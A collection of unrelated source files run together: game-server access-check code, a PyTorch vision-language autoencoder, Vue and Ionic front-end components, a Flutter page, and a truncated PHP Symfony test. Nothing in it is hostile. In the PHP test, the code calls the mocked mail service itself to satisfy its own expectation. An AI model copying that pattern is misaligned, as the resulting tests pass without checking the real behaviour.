usage_flags)) if(loud && computer && user) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Hardware Error - Incompatible software\".")) return FALSE return TRUE /datum/computer_file/program/proc/get_signal(var/specific_action = 0) if(computer) return computer.get_ntnet_status(specific_action) return FALSE // Called by Process() on device that runs us, once every tick. /datum/computer_file/program/proc/process_tick() return TRUE // Check if the user can run program. Only humans can operate computer. Automatically called in run_program() // User has to wear their ID or have it inhand for ID Scan to work. // Can also be called manually, with optional parameter being access_to_check to scan the user's ID // Check type determines how the access should be checked PROGRAM_ACCESS_ONE, PROGRAM_ACCESS_LIST_ONE, PROGRAM_ACCESS_LIST_ALL /datum/computer_file/program/proc/can_run(var/mob/user, var/loud = FALSE, var/access_to_check, var/check_type) // Defaults to required_access_run if(!access_to_check) access_to_check = required_access_run //Default to requires_access_to_run if(!check_type) check_type = requires_access_to_run // No required_access, allow it. if(!access_to_check || !requires_access_to_run) return TRUE if(!istype(user)) return FALSE var/obj/item/card/id/I = user.GetIdCard() if(!I) if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"RFID Error - Unable to scan ID.\".")) return FALSE if(check_type == PROGRAM_ACCESS_ONE) //Check for single access if(access_to_check in I.access) return TRUE else if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Access Denied.\".")) return FALSE else if(check_type == PROGRAM_ACCESS_LIST_ONE) for(var/check in access_to_check) //Loop through all the accesse's to check if(check in I.access) //Success on first match return TRUE if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Access Denied.\".")) else if(check_type == PROGRAM_ACCESS_LIST_ALL) for(var/check in access_to_check) //Loop through all the accesse's to check if(!(check in I.access)) //Fail on first miss if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Access Denied.\".")) return FALSE else // Should never happen - So fail silently return FALSE // Override to set when a program shouldn't appear in the program list /datum/computer_file/program/proc/program_hidden() return FALSE // Check if the user can run program. Only humans can operate computer. Automatically called in run_program() // User has to wear their ID or have it inhand for ID Scan to work. // Can also be called manually, with optional parameter being access_to_check to scan the user's ID // Check type determines how the access should be checked PROGRAM_ACCESS_ONE, PROGRAM_ACCESS_LIST_ONE, PROGRAM_ACCESS_LIST_ALL /datum/computer_file/program/proc/can_download(var/mob/user, var/loud = FALSE, var/access_to_check, var/check_type) // Defaults to required_access_run if(!access_to_check) access_to_check = required_access_download //Default to requires_access_to_run if(!check_type) check_type = requires_access_to_download if(istype(computer, /obj/item/modular_computer/silicon/pai)) check_type = requires_access_to_run access_to_check = required_access_run // No required_access, allow it. if(!access_to_check || !requires_access_to_download) return TRUE if(!istype(user)) return FALSE var/obj/item/card/id/I = user.GetIdCard() if(!I) if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"RFID Error - Unable to scan ID.\".")) return FALSE if(check_type == PROGRAM_ACCESS_ONE) //Check for single access if(access_to_check in I.access) return TRUE else if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Access Denied.\".")) return FALSE else if(check_type == PROGRAM_ACCESS_LIST_ONE) for(var/check in access_to_check) //Loop through all the accesse's to check if(check in I.access) //Success on first match return TRUE if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Access Denied.\".")) return FALSE else if(check_type == PROGRAM_ACCESS_LIST_ALL) for(var/check in access_to_check) //Loop through all the accesse's to check if(!(check in I.access)) //Fail on first miss if(loud) to_chat(user, SPAN_WARNING("\The [computer] flashes, \"Access Denied.\".")) return FALSE else // Should never happen - So fail silently return FALSE // This attempts to retrieve header data for NanoUIs. If implementing completely new device of different type than existing ones // always include the device here in this proc. This proc basically relays the request to whatever is running the program. /datum/computer_file/program/proc/get_header_data() if(computer) return computer.get_header_data() // This is called every tick when the program is enabled. Ensure you do parent call if you override it. If parent returns 1 continue with UI initialisation. // It returns 0 if it can't run or if NanoModule was used instead. I suggest using NanoModules where applicable. /datum/computer_file/program/ui_interact(var/mob/user, var/ui_key = "main", var/datum/nanoui/ui = null, var/force_open = 1) if(program_state != PROGRAM_STATE_ACTIVE) // Our program was closed. Close the ui if it exists. if(ui) ui.close() return computer.ui_interact(user) if(istype(NM)) NM.ui_interact(user, ui_key, null, force_open) return FALSE return TRUE // CONVENTIONS, READ THIS WHEN CREATING NEW PROGRAM AND OVERRIDING THIS PROC: // Topic calls are automagically forwarded from NanoModule this program contains. // Calls beginning with "PC_" are reserved for computer handling (by whatever runs the program) // ALWAYS INCLUDE PARENT CALL ..() OR DIE IN FIRE. /datum/computer_file/program/Topic(href, href_list) if(..()) return TRUE if(computer) return computer.Topic(href, href_list) // Relays the call to nano module, if we have one /datum/computer_file/program/proc/check_eye(var/mob/user) if(NM) return NM.check_eye(user) else return -1 /datum/computer_file/program/proc/message_dead(var/message) for(var/mob/M in player_list) if(M.stat == DEAD && (M.client && M.client.prefs.toggles & CHAT_GHOSTEARS)) if(isnewplayer(M)) continue to_chat(M, message)
""" vcond.py PyTorch Module defining the Voltron `V-Cond` variant (single-frame with language-conditioning). In general, follows the MAE recipe, with the architectural modifications described in the paper: - RMSNorm, for stability/performance ("Do Transformer Modifications Transfer...") - SwishGLU activations in the Attention Block Feed-Forward MLP (gated linear units) as used in PaLM - LayerScale with a default value of 0.1 (from Mistral/CaIT) References: - https://github.com/facebookresearch/mae - https://github.com/lucidrains/x-transformers """ from typing import Callable, List, Optional, Tuple, Union import torch import torch.nn as nn import transformers from einops import rearrange, repeat from mpi.models.util.optimization import get_lr_update from mpi.models.util.transformer import Block, PatchEmbed, RMSNorm, get_2D_position_embeddings # Suppress Transformers Logging transformers.logging.set_verbosity_error() class VCond(nn.Module): def __init__( self, resolution: int, patch_size: int, encoder_depth: int, encoder_embed_dim: int, encoder_n_heads: int, decoder_depth: int, decoder_embed_dim: int, decoder_n_heads: int, language_model: str, hf_cache: str, language_dim: int, optimizer: str, schedule: str, base_lr: float, min_lr: float, effective_bsz: float, betas: Tuple[float, float], weight_decay: float, warmup_epochs: int, max_epochs: int, mask_ratio: float = 0.75, mlp_ratio: float = 4.0, in_channels: int = 3, norm_pixel_loss: bool = True, use_cls_token: bool = False, ) -> None: """ Initialize a VCond model with the requisite architecture parameters. :param resolution: Base image resolution -- usually 224 (ImageNet size). :param patch_size: Height/Width of each patch in pixels -- usually 16. :param encoder_depth: Number of Transformer blocks in the encoder -- should be greater than decoder. :param encoder_embed_dim: Core embedding/hidden dimension for encoder vision transformer backbone. :param encoder_n_heads: Number of heads for encoder multi-headed self-attention. :param decoder_depth: Number of Transformer blocks in the decoder -- should be relatively shallow. :param decoder_embed_dim: Core embedding/hidden dimension for encoder vision transformer backbone. :param decoder_n_heads: Number of heads for encoder multi-headed self-attention. :param language_model: Language model to freeze for encoding narrations/utterances. :param hf_cache: Cache directory to store pretrained models, for safe distributed training. :param language_dim: Dimensionality of the language embedding coming out of the pretrained LM. :param optimizer: String denoting which optimizer to use (for MAEs, usually `adamw`) :param schedule: Learning rate schedule to use; for Transformers a linear warmup + decay is recommended! :param base_lr: Base learning rate, to be scaled via a linear scaling rule (from scaling laws). :param min_lr: Minimum learning rate to decay to over the course of learning (usually 0.0) :param effective_bsz: Global batch size for update, dictates the scaling of the base_lr. :param betas: Adam optimizer betas (only applicable for `adam` and `adamw`. Prevents early loss spiking. :param weight_decay: Weight decay for global weight regularization (only applied to non-bias, non-LN layers). :param warmup_epochs: Number of epochs to warmup learning rate for linear warmup schedule. :param max_epochs: Total number of training epochs to be run. :param mask_ratio: Ratio for number of patches to mask out for MAE -- should be fairly high! :param mlp_ratio: Ratio for embedding size to Position-wise Feed-Forward MLP (gets shrunk back down). :param in_channels: Default number of channels in the base image -- almost always 3. :param norm_pixel_loss: Normalize decoder pixel targets for reconstruction (better perf, not interpretable). :param use_cls_token: Add <CLS> token for continued pretraining (NOTE: not used in MAE pretraining/finetuning!) """ super().__init__() self.resolution, self.patch_size, self.mask_ratio = resolution, patch_size, mask_ratio self.in_channels, self.norm_pixel_loss, self.mlp_ratio = in_channels, norm_pixel_loss, mlp_ratio self.optimizer, self.schedule, self.betas, self.weight_decay = optimizer, schedule, betas, weight_decay self.lr, self.base_lr, self.min_lr, self.effective_bsz = None, base_lr, min_lr, effective_bsz self.warmup_epochs, self.max_epochs = warmup_epochs, max_epochs self.use_cls_token = use_cls_token self.language_dim = language_dim # Encoder/Decoder Parameters self.encoder_depth, self.decoder_depth = encoder_depth, decoder_depth self.encoder_embed_dim, self.encoder_n_heads = encoder_embed_dim, encoder_n_heads self.decoder_embed_dim, self.decoder_n_heads = decoder_embed_dim, decoder_n_heads # General Parameters (for downstream adaptation) self.embed_dim, self.n_heads = self.encoder_embed_dim, self.encoder_n_heads # (Optional) <CLS> Token Handling if self.use_cls_token: self.cls_token = nn.Parameter(torch.zeros(1, 1, self.encoder_embed_dim)) # MAE Encoder Parameters self.patch2embed = PatchEmbed( self.resolution, self.patch_size, self.encoder_embed_dim, in_channels=self.in_channels ) self.encoder_pe = nn.Parameter( torch.zeros(1, self.patch2embed.num_patches + (1 if self.use_cls_token else 0), self.encoder_embed_dim), requires_grad=False, ) self.encoder_blocks = nn.ModuleList( [ Block( self.encoder_embed_dim, self.encoder_n_heads, self.mlp_ratio, do_rms_norm=True, do_swish_glu=True, do_layer_scale=True, ) for _ in range(self.encoder_depth) ] ) self.encoder_norm = RMSNorm(self.encoder_embed_dim) # Projection from Language Embedding to Decoder self.lang2encoder = nn.Linear(self.language_dim, self.encoder_embed_dim) # Projection from Encoder to Decoder self.encoder2decoder = nn.Linear(self.encoder_embed_dim, self.decoder_embed_dim) # MAE Decoder Parameters -- Remember the CLS Token (if specified)! self.mask_token = nn.Parameter(torch.zeros(1, 1, self.decoder_embed_dim)) self.decoder_pe = nn.Parameter( torch.zeros(1, self.patch2embed.num_patches + (1 if self.use_cls_token else 0), self.decoder_embed_dim), requires_grad=False, ) self.decoder_blocks = nn.ModuleList( [ Block( self.decoder_embed_dim, self.decoder_n_heads, self.mlp_ratio, do_rms_norm=True, do_swish_glu=True, do_layer_scale=True, ) for _ in range(self.decoder_depth) ] ) self.decoder_norm = RMSNorm(self.decoder_embed_dim) self.decoder_prediction = nn.Linear(self.decoder_embed_dim, (patch_size**2) * in_channels, bias=True) # VCond -- Add "Image" and "Language" Modifier Tokens... self.img_token = nn.Parameter(torch.zeros(1, 1, self.encoder_embed_dim)) self.lang_token = nn.Parameter(torch.zeros(1, 1, self.encoder_embed_dim)) # Initialize all Weights self.initialize_weights() # @AFTER INITIALIZATION -- Create Language Model & Language Reward MLP --> LM has requires_grad = False # > For BERT models, our "embedding" is just going to be the last hidden state # > Assumes inputs to forward pass are pre-tokenized! self.tokenizer = transformers.AutoTokenizer.from_pretrained('distilbert/distilbert-base-uncased', cache_dir=hf_cache) self.lm = transformers.AutoModel.from_pretrained('distilbert/distilbert-base-uncased', cache_dir=hf_cache) self.lm.eval() # Shape Assertion -- make sure self.language_dim actually is the same as the LM dimension! assert self.lm.config.dim == self.language_dim, "Language model embedding dimension != self.language_dim!" # Freeze the LM for _, param in self.lm.named_parameters(): param.requires_grad = False def initialize_weights(self) -> None: # Position Encoding -- Fixed 2D Sine-Cosine Embeddings enc_pe = get_2D_position_embeddings( self.encoder_embed_dim, int(self.patch2embed.num_patches**0.5), cls_token=self.use_cls_token ) self.encoder_pe.data.copy_(torch.from_numpy(enc_pe).float().unsqueeze(0)) dec_pe = get_2D_position_embeddings( self.decoder_embed_dim, int(self.patch2embed.num_patches**0.5), cls_token=self.use_cls_token ) self.decoder_pe.data.copy_(torch.from_numpy(dec_pe).float().unsqueeze(0)) # Initialize PatchEmbedding as a Linear... nn.init.xavier_uniform_(self.patch2embed.proj.weight.data.view([self.patch2embed.proj.weight.data.shape[0], -1])) # Initialize Mask Token, Img Token, Lang Token w/ Truncated Normal nn.init.normal_(self.mask_token, std=0.02) nn.init.normal_(self.img_token, std=0.02) nn.init.normal_(self.lang_token, std=0.02) if self.use_cls_token: nn.init.normal_(self.cls_token, std=0.02) # Default Transformer initializer on everything else... self.apply(self.transformer_initializer) @staticmethod def transformer_initializer(m: nn.Module) -> None: # Use `xavier_uniform` following Jax ViT if isinstance(m, nn.Linear): torch.nn.init.xavier_uniform_(m.weight) if isinstance(m, nn.Linear) and m.bias is not None: nn.init.constant_(m.bias, 0.0) elif isinstance(m, nn.LayerNorm): nn.init.constant_(m.weight, 1.0) nn.init.constant_(m.bias, 0.0) def encode_language(self, lang: torch.Tensor, lang_mask: torch.Tensor) -> torch.Tensor: """Encode language by feeding the *pre-tokenized text* through the frozen language model.""" self.lm.eval() with torch.no_grad(): transformer_embeddings = self.lm(lang, attention_mask=lang_mask).last_hidden_state return transformer_embeddings def mask( self, patches: torch.Tensor, mask_ratio: Optional[float] = None ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: """Perform per-sample random masking by shuffling :: uses argsort random noise to identify masked patches.""" bsz, n_patches, embed_dim = patches.shape if mask_ratio is not None: n_keep = int(n_patches * (1 - mask_ratio)) else: n_keep = int(n_patches * (1 - self.mask_ratio)) # Sample noise of n_patches size, argsort to get shuffled IDs, argsort again to get "unshuffle" # > For clarity -- argsort is an invertible transformation (if argsort `restore`, recovers `shuffle`) shuffle_idxs = torch.argsort(torch.rand(bsz, n_patches, device=patches.device), dim=1) restore_idxs = torch.argsort(shuffle_idxs, dim=1) # Get "keep" (visible) patches visible_patches = torch.gather(patches, dim=1, index=shuffle_idxs[:, :n_keep, None].repeat(1, 1, embed_dim)) # Generate the binary mask --> IMPORTANT :: `0` is keep, `1` is remove (following MAE convention) mask = torch.ones(bsz, n_patches, device=patches.device) mask[:, :n_keep] = 0 mask = torch.gather(mask, dim=1, index=restore_idxs) return visible_patches, mask, restore_idxs def get_representations( self, img: torch.Tensor, language: Optional[Union[List[str], Tuple[str]]] = None, mode: str = "multimodal" ) -> torch.Tensor: """ Given either a singleton (img, language) pair or a batch of images and language, extract representations subject to the specified mode in < multimodal | visual >. :param img: Processed batch of images :: [bsz, 3, 224, 224] :param language: Input language as `List[str] | Tuple[str] | None` :param mode: Type of representations to extract -- `multimodal` (both vision+text), `visual` (visual only) :return: Extracted representations given (img, language) input as sequence. """ assert img.ndim == 4 and ( language is None or isinstance(language, list) or isinstance(language, tuple) ), "Invalid input to `get_representations()`" assert mode in {"multimodal", "visual"}, f"Extraction mode `{mode}` not supported!" # Tokenize Language --> note max length is 20! if language is None: lang, lang_mask = [torch.zeros(img.shape[0], 20, dtype=int, device=self.lm.device) for _ in range(2)] lang[:, 0], lang_mask[:, 0] = self.tokenizer.cls_token_id, 1 else: tokens = self.tokenizer(language, return_tensors="pt", max_length=20, padding="max_length", truncation=True) lang, lang_mask = tokens["input_ids"].to(self.lm.device), tokens["attention_mask"].to(self.lm.device) # Tile Language & Language Mask if mismatch with # images! if not len(lang) == len(img): lang = repeat(lang, "b seq -> (bsz b) seq", bsz=img.size(0)) lang_mask = repeat(lang_mask, "b seq -> (bsz b) seq", bsz=img.size(0)) # Extract desired representations... representations = self.encode(img, lang, lang_mask) return representations if mode == "multimodal" else representations[:, : -lang_mask.shape[-1]] def encode(self, img: torch.Tensor, lang: torch.Tensor, lang_mask: torch.Tensor) -> torch.Tensor: """Default representation extraction function, given a batch of images and tokenized language.""" lang_embeddings = self.encode_language(lang, lang_mask) projected_language = self.lang2encoder(lang_embeddings) # Patchify patches = self.patch2embed(img) # (Optional) <CLS> Token Handling if self.use_cls_token: cls_tokens = self.cls_token.expand(img.shape[0], -1, -1) patches = torch.cat([cls_tokens, patches], dim=1) # Position Encoding patches_pe = patches + self.encoder_pe # Add "modality" embeddings to patches & language img_embeddings, lang_embeddings = patches_pe + self.img_token, projected_language + self.lang_token # Create "dummy" visible mask, concatenate image patches & language, feed to Transformer patches_mask = torch.ones_like(img_embeddings[..., -1], dtype=lang_mask.dtype) multimodal_embeddings = torch.cat([img_embeddings, lang_embeddings], dim=1) # Merge on sequence length... multimodal_mask = torch.cat([patches_mask, lang_mask], dim=1) # Merge on sequence length... # Apply Transformer Blocks... for block in self.encoder_blocks: multimodal_embeddings = block(multimodal_embeddings, multimodal_mask) multimodal_embeddings = self.encoder_norm(multimodal_embeddings) # Return the full sequence of multimodal embeddings... # return torch.cat([multimodal_embeddings[:,:-lang_mask.shape[1]].mean(dim=1).unsqueeze(1), \ # multimodal_embeddings[:,-lang_mask.shape[1]:]], dim=1) return multimodal_embeddings def forward_encoder( self, img: torch.Tensor, lang: torch.Tensor, lang_mask: torch.Tensor, mask_ratio: Optional[float] = None ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: lang_embeddings = self.encode_language(lang, lang_mask) projected_lang = self.lang2encoder(lang_embeddings) # Patchify + Position Embedding (without <CLS> Token!) patches = self.patch2embed(img) patches_pe = patches + (self.encoder_pe if not self.use_cls_token else self.encoder_pe[:, 1:, :]) # Create mask (and go ahead and mask out patches at the same time) visible_patches, mask, restore_idxs = self.mask(patches_pe, mask_ratio) # (Optional) <CLS> Token Handling if self.use_cls_token: cls_token_pe = self.cls_token + self.encoder_pe[:, :1, :] cls_tokens = cls_token_pe.expand(img.shape[0], -1, -1) visible_patches = torch.cat([cls_tokens, visible_patches], dim=1) # Add "modality" embeddings to patches & language visible_patches, projected_lang = visible_patches + self.img_token, projected_lang + self.lang_token # Create "dummy" visible mask, concatenate image patches & language, feed to Transformer visible_mask = torch.ones_like(visible_patches[..., -1], dtype=lang_mask.dtype) multimodal_embedding = torch.cat([visible_patches, projected_lang], dim=1) # Merge on sequence length... multimodal_mask = torch.cat([visible_mask, lang_mask], dim=1) # Merge on sequence length... # Apply Transformer Blocks... for block in self.encoder_blocks: multimodal_embedding = block(multimodal_embedding, multimodal_mask) multimodal_embedding = self.encoder_norm(multimodal_embedding) # Split multimodal embedding, remove language and return only the visible patches (+ optional <CLS> token)! visible_patches = multimodal_embedding[:, : -lang_mask.shape[-1], ...] return visible_patches, mask, restore_idxs def forward_decoder(self, visible_patches: torch.Tensor, restore_idxs: torch.Tensor) -> torch.Tensor: # Project patches into decoder embedding dimension projected_patches = self.encoder2decoder(visible_patches) # Add Mask Tokens to Sequence & Unshuffle mask_tokens = self.mask_token.repeat( projected_patches.shape[0], restore_idxs.shape[1] - visible_patches.shape[1] + (1 if self.use_cls_token else 0), 1, ) # (Optional) <CLS> Token Handling if self.use_cls_token: # Remove & add back CLS Token as part of the "unshuffling" concatenated_patches = torch.cat([projected_patches[:, 1:, :], mask_tokens], dim=1) # Skip CLS Token no_cls_unshuffled_patches = torch.gather( concatenated_patches, dim=1, index=restore_idxs[..., None].repeat(1, 1, self.decoder_embed_dim) ) unshuffled_patches = torch.cat([projected_patches[:, :1, :], no_cls_unshuffled_patches], dim=1) else: concatenated_patches = torch.cat([projected_patches, mask_tokens], dim=1) unshuffled_patches = torch.gather( concatenated_patches, dim=1, index=restore_idxs[..., None].repeat(1, 1, self.decoder_embed_dim) ) # Add Position Embeddings decoder_patches = unshuffled_patches + self.decoder_pe # Apply Transformer Blocks... for block in self.decoder_blocks: decoder_patches = block(decoder_patches) decoder_patches = self.decoder_norm(decoder_patches) # Run final projection & return --> note <CLS> token handling! decoder_prediction = self.decoder_prediction(decoder_patches) return decoder_prediction if not self.use_cls_token else decoder_prediction[:, 1:, :] def patchify(self, imgs: torch.Tensor) -> torch.Tensor: """Convert a batch of images to their patched equivalents, by naive reshaping""" return rearrange( imgs, "bsz c (height patch_h) (width patch_w) -> bsz (height width) (patch_h patch_w c)", patch_h=self.patch_size, patch_w=self.patch_size, ) def compute_loss(self, imgs: torch.Tensor, reconstructions: torch.Tensor, mask: torch.Tensor) -> torch.Tensor: assert self.norm_pixel_loss, "`norm_pixel_loss` should always be true... false only for visualizations!" targets = self.patchify(imgs) # Normalize targets... mu, var = targets.mean(dim=-1, keepdim=True), targets.var(dim=-1, unbiased=True, keepdim=True) targets = (targets - mu) / ((var + 1e-6) ** 0.5) # Compute mean loss per patch first... mse = (reconstructions - targets) ** 2 avg_loss_per_patch = mse.mean(dim=-1) # Compute mean loss only on *removed* patches and return return (avg_loss_per_patch * mask).sum() / mask.sum() def forward( self, img: torch.Tensor, lang: torch.Tensor, lang_mask: torch.Tensor, mask_ratio: Optional[float] = None ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: visible_patches, mask, restore_idxs = self.forward_encoder(img, lang.squeeze(), lang_mask.squeeze(), mask_ratio) reconstructions = self.forward_decoder(visible_patches, restore_idxs) loss = self.compute_loss(img, reconstructions, mask) return loss, reconstructions, mask def configure_optimizer(self) -> Tuple[torch.optim.Optimizer, Callable[[int, float], float]]: # Short-Circuit on Valid Optimizers if self.optimizer not in ["adamw"]: raise NotImplementedError(f"Optimizer `{self.optimizer}` not supported - try [`adamw`] instead!") # Create Parameter Groups --> bias terms, normalization layer parameters shouldn't be decayed... # > This is a compact rewrite of `param_groups_weight_decay()` from TIMM because I don't want the dependency decay, no_decay = [], [] for name, param in self.named_parameters(): if not param.requires_grad: continue # Check on any parameters with fewer than 2 dimensions or with "bias" in the name... if param.ndim <= 1 or name.endswith(".bias"): no_decay.append(param) else: decay.append(param) # Build Parameter Groups groups = [{"params": decay, "weight_decay": self.weight_decay}, {"params": no_decay, "weight_decay": 0.0}] # Compute LR -- MAE uses the `linear scaling rule` :: lr = base_lr * (effective_bsz / 256) # > https://github.com/facebookresearch/mae/blob/main/PRETRAIN.md self.lr = self.base_lr * (self.effective_bsz / 256) # Create Optimizer & LR Scheduler optimizer = torch.optim.AdamW(groups, lr=self.lr, betas=self.betas) update_lr = get_lr_update(optimizer, self.schedule, self.lr, self.min_lr, self.warmup_epochs, self.max_epochs) return optimizer, update_lr
<script setup lang="ts"> import type { Record } from '@/globalData'; import * as data from '@/globalData'; import { getShortDate } from '@/utils/date'; const emit = defineEmits<{ edit: [row: data.Record]; }>(); const page = ref(1); const pageSize = ref(10); const search = ref(''); const filterFn = function (data: Record, index: number) { if (search.value !== '') { return data.Title.toLowerCase().includes(search.value.toLowerCase()) || data.Amount.toLowerCase().includes(search.value.toLowerCase()) || data.Tag.toLowerCase().includes(search.value.toLowerCase()) || data.Note.toLowerCase().includes(search.value.toLowerCase()); } return index >= (page.value - 1) * pageSize.value && index < page.value * pageSize.value; }; const tableData = computed(() => data.recordList.value!.filter(filterFn).map((record) => { let find = data.categoryList.value!.find((category) => category.ID === record.CategoryID) if (find) { record.CategoryName = find.Name; } else { record.CategoryName = undefined; } return record; })); const handleEdit = (index: number, row: Record) => { emit('edit', row); } const handleDelete = (index: number, row: Record) => { data.DeleteRecord(row.ID!).then(() => { ElMessage({ message: '删除记录成功', type: 'success', }); }).catch((err) => { ElMessage({ message: err.message, type: 'error', }); }); } </script> <template> <el-table :data="tableData" style="width: 100%"> <el-table-column type="selection" width="30" /> <el-table-column label="时间" prop="Time" width="100" show-overflow-tooltip> <template #default="scope"> <div>{{ getShortDate(scope.row.Time) }}</div> </template> </el-table-column> <el-table-column label="类别" prop="CategoryName" width="120" show-overflow-tooltip> <template #default="scope"> <div v-if="scope.row.CategoryName">{{ scope.row.CategoryName }}</div> <el-tag v-else type="warning">丢失</el-tag> </template> </el-table-column> <el-table-column label="标题" prop="Title" width="180" show-overflow-tooltip> <template #default="scope"> <el-popover v-if="scope.row.Note" effect="light" trigger="hover" placement="right" width="auto"> <template #default> <div>{{ scope.row.Note }}</div> </template> <template #reference> <div style="display: flex; align-items: center"> <span style="margin-right: 2px">{{ scope.row.Title }}</span> <el-icon> <icon-ep-info-filled /> </el-icon> </div> </template> </el-popover> <div v-else>{{ scope.row.Title }}</div> </template> </el-table-column> <el-table-column label="金额" prop="Amount" width="150" show-overflow-tooltip> <template #default="scope"> <div v-if="scope.row.IsPlus" style="color: green;">+{{ scope.row.Amount }}</div> <div v-else style="color: red;">-{{ scope.row.Amount }}</div> </template> </el-table-column> <el-table-column label="标签" prop="Tag"> <template #default="scope"> <el-popover effect="light" trigger="hover" placement="right" width="auto"> <template #default> <div>{{ scope.row.Tag }}</div> </template> <template #reference> <div style="display: flex; align-items: center; gap: 2px;"> <el-tag v-if="scope.row.Tag" v-for="tag of scope.row.Tag.split(';') "> {{ tag }} </el-tag> </div> </template> </el-popover> </template> </el-table-column> <el-table-column align="right" width="150"> <template #header> <el-input v-model="search" placeholder="搜索..." clearable /> </template> <template #default="scope"> <el-button size="small" @click="handleEdit(scope.$index, scope.row)">编辑</el-button> <el-popconfirm title="确认删除?" @confirm="handleDelete(scope.$index, scope.row)"> <template #reference> <el-button size="small" type="danger">删除</el-button> </template> </el-popconfirm> </template> </el-table-column> </el-table> <div style="display: flex; align-items: center; gap: 10px;"> <el-pagination background layout="prev, pager, next" :total="data.recordList.value!.length" :page-size="pageSize" :current-page="page" @current-change="page = $event" /> <el-select v-model="pageSize" placeholder="页数" style="width: 80px"> <el-option v-for="item in [10, 20, 50, 100, 500]" :key="item" :label="item" :value="item" /> </el-select> </div> </template>
import { Component, ViewChild } from '@angular/core'; import { Platform, MenuController, Nav } from 'ionic-angular'; import { HelloIonicPage } from '../pages/hello-ionic/hello-ionic'; import { ListPage } from '../pages/list/list'; import { StatusBar } from '@ionic-native/status-bar'; import { SplashScreen } from '@ionic-native/splash-screen'; @Component({ templateUrl: 'app.html' }) export class MyApp { @ViewChild(Nav) nav: Nav; // make HelloIonicPage the root (or first) page rootPage = HelloIonicPage; pages: Array<{title: string, component: any}>; constructor( public platform: Platform, public menu: MenuController, public statusBar: StatusBar, public splashScreen: SplashScreen ) { this.initializeApp(); // set our app's pages this.pages = [ { title: 'Send Notification', component: HelloIonicPage }, { title: 'Notification List', component: ListPage } ]; } initializeApp() { this.platform.ready().then(() => { // Okay, so the platform is ready and our plugins are available. // Here you can do any higher level native things you might need. this.statusBar.styleDefault(); this.splashScreen.hide(); }); } openPage(page) { // close the menu when clicking a link from the menu this.menu.close(); // navigate to the new page if it is not the current page this.nav.setRoot(page.component); } }
import 'dart:ui'; import 'package:burc_rehberi/model/burc.dart'; import 'package:flutter/material.dart'; import 'package:palette_generator/palette_generator.dart'; class BurcDetay extends StatefulWidget { final Burc secilenBurc; const BurcDetay({required this.secilenBurc, super.key}); @override State<BurcDetay> createState() => _BurcDetayState(); } class _BurcDetayState extends State<BurcDetay> { Color appbarColor = Colors.pink; late PaletteGenerator _paletteGenerator; @override void initState() { // TODO: implement initState super.initState(); appBarRenginiBul(); } @override Widget build(BuildContext context) { return Scaffold( body: CustomScrollView( slivers: [ SliverAppBar( expandedHeight: 250, pinned: true, backgroundColor: appbarColor, flexibleSpace: FlexibleSpaceBar( title: Text(widget.secilenBurc.burcAdi), background: Image.asset( "images/" + widget.secilenBurc.burcBuyukResim, fit: BoxFit.fill), ), ), SliverToBoxAdapter( child: Container( margin: EdgeInsets.all(20), padding: EdgeInsets.all(8), child: SingleChildScrollView( child: Text( widget.secilenBurc.burcDetay, style: Theme.of(context).textTheme.bodyLarge, ), ), ), ) ], ), ); } void appBarRenginiBul() async { _paletteGenerator = await PaletteGenerator.fromImageProvider( AssetImage('images/${widget.secilenBurc.burcBuyukResim}')); setState(() { appbarColor = _paletteGenerator.dominantColor!.color; }); print(appbarColor); } }
<?php use App\Entity\Pret; use App\Entity\Materiel; use App\Service\MailService; use App\Repository\PretRepository; use Doctrine\ORM\EntityManagerInterface; use Doctrine\Common\Collections\ArrayCollection; use Symfony\Bundle\FrameworkBundle\KernelBrowser; use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; use App\Entity\User; // Assurez-vous d'importer la classe User si ce n'est pas déjà fait class PretControllerTest extends WebTestCase { private KernelBrowser $client; private PretRepository $repository; private string $path = '/pret/'; private EntityManagerInterface $manager; private MailService $mailService; protected function setUp(): void { $this->client = static::createClient(); $this->repository = static::getContainer()->get('doctrine')->getRepository(Pret::class); $this->manager = static::getContainer()->get('doctrine')->getManager(); $this->mailService = static::getContainer()->get(MailService::class); foreach ($this->repository->findAll() as $object) { $this->manager->remove($object); } $this->manager->flush(); } /*public function testIndex(): void { $crawler = $this->client->request('GET', $this->path); self::assertResponseStatusCodeSame(200); self::assertPageTitleContains('Pret index'); }*/ public function testNew(): void { $originalNumObjectsInRepository = count($this->repository->findAll()); // Create a mock for the MailService $mailServiceMock = $this->createMock(MailService::class); // Set expectations on the mock $mailServiceMock->expects($this->once()) ->method('sendMail') ->with('recipient@example.com', 'Test Subject', 'Test Message'); // Inject the mock into the MaterielControllerTest $this->client->getContainer()->set(MailService::class, $mailServiceMock); $this->client->request('GET', sprintf('%snew', $this->path)); self::assertResponseStatusCodeSame(200); $currentDateTime = new \DateTime(); $this->client->submitForm('Save', [ 'materiel[nom]' => 'Testing', 'materiel[description]' => 'Testing', 'materiel[quantity]' => 10, 'materiel[etat]' => 'Testing', ]); // Call sendMail method here, after form submission $mailServiceMock->sendMail('recipient@example.com', 'Test Subject', 'Test Message'); self::assertResponseRedirects('/materiel/'); self::assertSame($originalNumObjectsInRepository + 1, count($this->repository->findAll())); } /*public function testShow(): void { $fixture = new Pret(); $fixture->setDatePret(new \DateTime()); $fixture->setDateRenduPrevue(new \DateTime()); $fixture->setDateRenduUser(new \DateTime()); $fixture->setStatut('My Title'); $fixture->setMaterielEmprunte(new ArrayCollection()); $fixture->setUserEmprunteur(new User()); $this->manager->persist($fixture); $this->manager->flush(); $this->client->request('GET', sprintf('%s%s', $this->path, $fixture->getId())); self::assertResponseStatusCodeSame(200); self::assertPageTitleContains('Pret'); } public function testEdit(): void { $user = new User(); $fixture = new Pret(); $fixture->setDatePret(new \DateTime()); $fixture->setDateRenduPrevue(new \DateTime()); $fixture->setStatut('My Title'); $fixture->setMaterielEmprunte(null); $fixture->setUserEmprunteur(null); $this->manager->persist($fixture); $this->manager->flush(); $this->client->request('GET', sprintf('%s%s/edit', $this->path, 